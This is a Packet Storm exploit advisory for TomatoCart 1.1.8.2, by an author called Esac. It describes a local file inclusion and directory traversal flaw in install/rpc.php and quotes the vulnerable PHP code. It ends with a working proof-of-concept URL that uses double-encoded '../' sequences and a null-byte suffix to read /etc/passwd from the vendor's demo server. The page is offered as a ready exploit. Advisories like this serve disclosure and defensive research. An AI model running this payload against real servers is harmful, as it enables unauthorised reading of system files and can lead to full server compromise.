exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

TomatoCart 1.1.8.2 LFI / Directory Traversal

TomatoCart 1.1.8.2 LFI / Directory Traversal
Posted Nov 18, 2013
Authored by Esac

TomatoCart version 1.1.8.2 suffers from local file inclusion and directory traversal vulnerabilities.

tags | exploit, local, vulnerability, file inclusion
SHA-256 | 80edf86022b40bc33df2e29333ac72332b23148388612cd80bcc1bac5cb7b036

TomatoCart 1.1.8.2 LFI / Directory Traversal

Change Mirror Download
###########################################################################################
#Exploit Title: TomatoCart 1.1.8.2 - LFI / Directory Traversal Vulnerability
#Product: TomatoCart
#Official site: http://www.tomatocart.com/
#Demo : http://demo.tomatocart.com/
#Risk Level: High
#Exploit Author: Esac
#Last Checked: 18/11/2013
###########################################################################################


+----------+
| OVERVIEW |
+----------+

TomatoCart is open source ecommerce solution developed and maintained by a number of 64,000+ users from 50+ countries and regions. It's distributed under the terms of the GNU General Public License (or "GPL"), free to download and share. The community, including project founders and other developers, are supposed to work together on the platform of TomatoCart, contributing features, technical support and services.
unfortunatly , Tomatocart suffer from critical vuln that allow attackers step out of the root directory and access files in other directories. As a result, attackers might view restricted files or execute commands, leading to a full compromise of the Web server

+-----------------------------------------------------------------------------------+


+-------------------------------------+
| LFI / Directory Traversal Vuln |
+-------------------------------------+


Affected file : install/rpc.php


.......................................................



if (isset($_GET['action']) && !empty($_GET['action'])) {
switch ($_GET['action']) {
case 'dbCheck':
$db = array('DB_SERVER' => trim(urldecode($_GET['server'])),
'DB_SERVER_USERNAME' => trim(urldecode($_GET['username'])),
'DB_SERVER_PASSWORD' => trim(urldecode($_GET['password'])),
'DB_DATABASE' => trim(urldecode($_GET['name'])),
'DB_DATABASE_CLASS' => trim(urldecode($_GET['class']))
);

$osC_Database = osC_Database::connect($db['DB_SERVER'], $db['DB_SERVER_USERNAME'], $db['DB_SERVER_PASSWORD'], $db['DB_DATABASE_CLASS']);

if ($osC_Database->isError() === false) {
$osC_Database->selectDatabase($db['DB_DATABASE']);
}

if ($osC_Database->isError()) {
echo '[[0|' . $osC_Database->getError() . ']]';
} else {
echo '[[1]]';
}

exit;
break;


.........................................................

+------------------+
| PROOF OF CONCEPT |
+------------------+

http://demo.tomatocart.com//install/rpc.php?action=dbCheck&class=..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%2500.jpg

+--------------------------------------------------------------+

Knowledge is not an object , it's a flaw :)
Email : esacp4r@gmail.com & s3cpr0@hotmail.com
Greetz : White Tarbouch TEAM - Cobra
www.Iss4m.ma && www.eternalsec.com/cc
./Issam IEBOUBEN Aka Esac



Login or Register to add favorites

File Archive:

October 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    39 Files
  • 2
    Oct 2nd
    23 Files
  • 3
    Oct 3rd
    18 Files
  • 4
    Oct 4th
    0 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    0 Files
  • 8
    Oct 8th
    0 Files
  • 9
    Oct 9th
    0 Files
  • 10
    Oct 10th
    0 Files
  • 11
    Oct 11th
    0 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    0 Files
  • 15
    Oct 15th
    0 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close